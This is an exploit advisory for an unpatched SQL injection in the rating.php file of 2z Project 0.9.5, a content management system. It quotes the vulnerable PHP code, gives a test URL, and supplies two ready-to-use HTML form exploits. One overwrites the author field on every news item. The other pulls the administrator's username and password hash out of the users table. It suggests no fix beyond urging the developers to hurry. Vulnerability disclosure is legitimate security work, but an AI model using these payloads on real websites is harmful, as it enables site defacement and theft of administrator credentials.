Target software description:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerable: 2z Project 0.9.5  
Patched: not yet :)  
  
http://2z-project.ru/  
  
  
Vulnerabilities:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
1. Critical sql injection in "rating.php"  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
  
Let's start with peeking @ source code of "2z/includes/rating.php":  
  
------------------[source code]----------------------  
...  
if ($_POST['rating']) {  
@include_once "../core.php";  
@header('Content-type: text/html; charset='.$lang['encoding']);  
LoadLang("news", "site");  
}  
...  
if (!$_COOKIE['rating'.$row['id']]) {  
if (!$rating) {  
...  
else {  
@setcookie('rating'.$post_id, 'voted', (time() + 31526000), '/');  
$mysql->query("UPDATE ".prefix."_news SET rating=rating+".$rating.",  
votes=votes+1 WHERE id = '".$post_id."'");  
------------------[/source code]----------------------  
  
As we can track back - the $_POST['rating'] parameter will be used in  
mysql "UPDATE" query without any sanitize at all! This seems to be  
classical "sql injection in update query" case ...  
  
So let's have fun and try some PoC:  
  
------------------[PoC test]-----------------------  
http://localhost/2zcms/?category=none&altname=testnews&rating=xxx  
------------------[/PoC test]----------------------  
  
Result: "Error! Bad query!"  
  
What is important for this test to succeed, is that url to specific news  
item must be valid. And then just add "?rating=xxx" or "&rating=xxx"  
to url end and you will get error message, if target website is not patched.  
  
So what are practical exploiting possibilities in this case?  
  
1. Attacker can modify arbitrary news content on website.  
=========================================================  
  
This little piece of html code will change news author name to "1337"   
for ALL news items at the same time!  
  
------------------[real-life exploit]-----------------------  
<html>  
<body>  
<center>  
<form action="http://localhost/2zcms/?category=none&altname=testnews" method="post">  
<input type="hidden" name="rating" value="1,author=1337/*">  
<input type="submit" value="Test!">  
</form>  
</center>  
</body>  
</html>  
------------------[/real-life exploit]----------------------  
  
  
2. Attacker can steal any data from mysql database.  
=========================================================  
  
Exploit below will expose admins username and passwords double md5 hash  
in "author" field for all news items on website. So if attacker wants  
to be more sneaky, then sql query must be limited to update only one news item.  
How? Well, that's too easy, so I will not tell it here ;)  
  
------------------[real-life exploit]-----------------------  
<html>  
<body>  
<center>  
<form action="http://localhost/2zcms/?category=none&altname=testnews" method="post">  
<input type="hidden" name="rating" value="1,author=  
(SELECT CONCAT(name,0x5e,pass)FROM 2z_users WHERE id=1)/*">  
<input type="submit" value="Test!">  
</form>  
</center>  
</body>  
</html>  
------------------[/real-life exploit]----------------------  
  
There is one important mitigating factor for this exploit to succeed:  
mysql daemon must have version >= 4.1 with sub queries functionality.

How to fix:  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Well, what can I suggest? Try to rush developers for releasing update  
ASAP :)
